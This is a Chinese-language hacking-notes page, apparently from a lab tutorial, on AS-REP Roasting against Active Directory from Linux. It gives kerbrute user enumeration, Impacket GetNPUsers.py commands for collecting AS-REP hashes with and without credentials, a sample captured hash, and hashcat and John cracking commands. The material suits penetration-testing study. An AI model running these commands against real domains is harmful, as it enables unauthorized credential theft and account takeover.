> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/as-rep-roasting-from-linux.md).
# 从 Linux 进行 AS-REP Roasting
针对从 Linux 进行 AS-REP Roasting 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
### 创建用户列表
我们创建一个文件：
{% code overflow="wrap" %}
```bash
user1
user2
beverlie.carmel
管理员
astrid.niki
```
{% endcode %}
### 使用 Kerbrute 进行验证
{% code overflow="wrap" %}
```bash
kerbrute userenum -d whoami.local --dc dc01.whoami.local users
```
{% endcode %}
在 Wireshark 中，我们可以观察到普通用户会查询预身份验证，而 `astrid.niki` 可以返回可用的响应。
{% code overflow="wrap" %}
```bash
fba3c5e54d99add970100f90d1de4f0838e6dc3338dad6eace2abdb8f808d895c619a11291ca8e1b0bd9a914bb2c36b306b471bce9e84db1fe348df08287e76d07857f9633222f19e8a5912cd88ce2cec025b0bcc04f81c35ca215df43e366de5270b0b4ad6188311402e058efc7a0e967c2235f97c74c4e0c0fdf072cb41e04496f53cfebe36e25538027c092469b3415f7493017a7824c71d73fcc7f2da6f04555393356e6204277ef74d15d081401bc0dc8498df074e14607c276da9e05314102eeae6f676d26c91312018cf03d25387c4fe197892cf14f7010609c78d55f4c3b0abb665e261001ff1c9ea0d6ff36749d6dc3673e2ab3d0114ec33b905114affe735543051a356ba87fb615a8a281
```
{% endcode %}
### 使用 GetNPUsers 自动收集
Impacket 的 `GetNPUsers.py` 该工具可自动化 AS-REP Roasting。
在没有有效凭据的情况下：
{% code overflow="wrap" %}
```bash
GetNPUsers.py whoami.local/ -dc-ip 172.16.0.100 -users users -format john -outputfile asrep2.hash
```
{% endcode %}
此命令：
* 从文件中读取用户 `users`;
* 联系域控制器；
* 从存在漏洞的账户中提取 AS-REP 哈希；
* 将结果保存为 John 格式。
{% code overflow="wrap" %}
```powershell
$krb5asrep$astrid.niki@WHOAMI.LOCAL:bc9843638ed7c638b55662f327b2540f$a8fb43644825579cd42a645a07f8d90518ca48a637803277bea0af640a3c21ce529f9d4c560084c765b0b64437d57b3d9fa5271d3efd026633bb8d9b5ccafa07d8e52682437b74f69e72307884cbd2b35fa3a3c6fa3cc236ed6d01d7ae125ec5b0e94f3f2e9143c170bd95dc3cebad2e60c5edf2eb7d3b873f2084aaf1661aa66693d0c51b0080f61fa04801a59fef0c356b212e541e036a40e67ca5e30a12e6ae8bbc54dac3144e815635f0c5785c27b39e9a5cdc3c653f46cc9ebaf59ddcc5ebee06ab7b7057fa27189a8c502e8db8d19c83d493b43ba80b08629ff7e26be9241bd75aec33824f2b484c5d
```
{% endcode %}
### 使用 Hashcat 破解
在 Hashcat 中，Kerberos AS-REP 模式是 18200：
{% code overflow="wrap" %}
```bash
hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt
```
{% endcode %}
### 使用 John 破解
```bash
john --wordlist=/usr/share/wordlists/rockyou.txt asrep2.hash
```
### 使用有效凭据
如果你拥有域用户的凭据，也可以查询相关用户可被 Roasting 的 AS-REP：
{% code overflow="wrap" %}
```bash
GetNPUsers.py whoami.local/user1:Password123 -dc-ip 172.16.0.100 -format john -outputfile asrep2.hash
```
{% endcode %}
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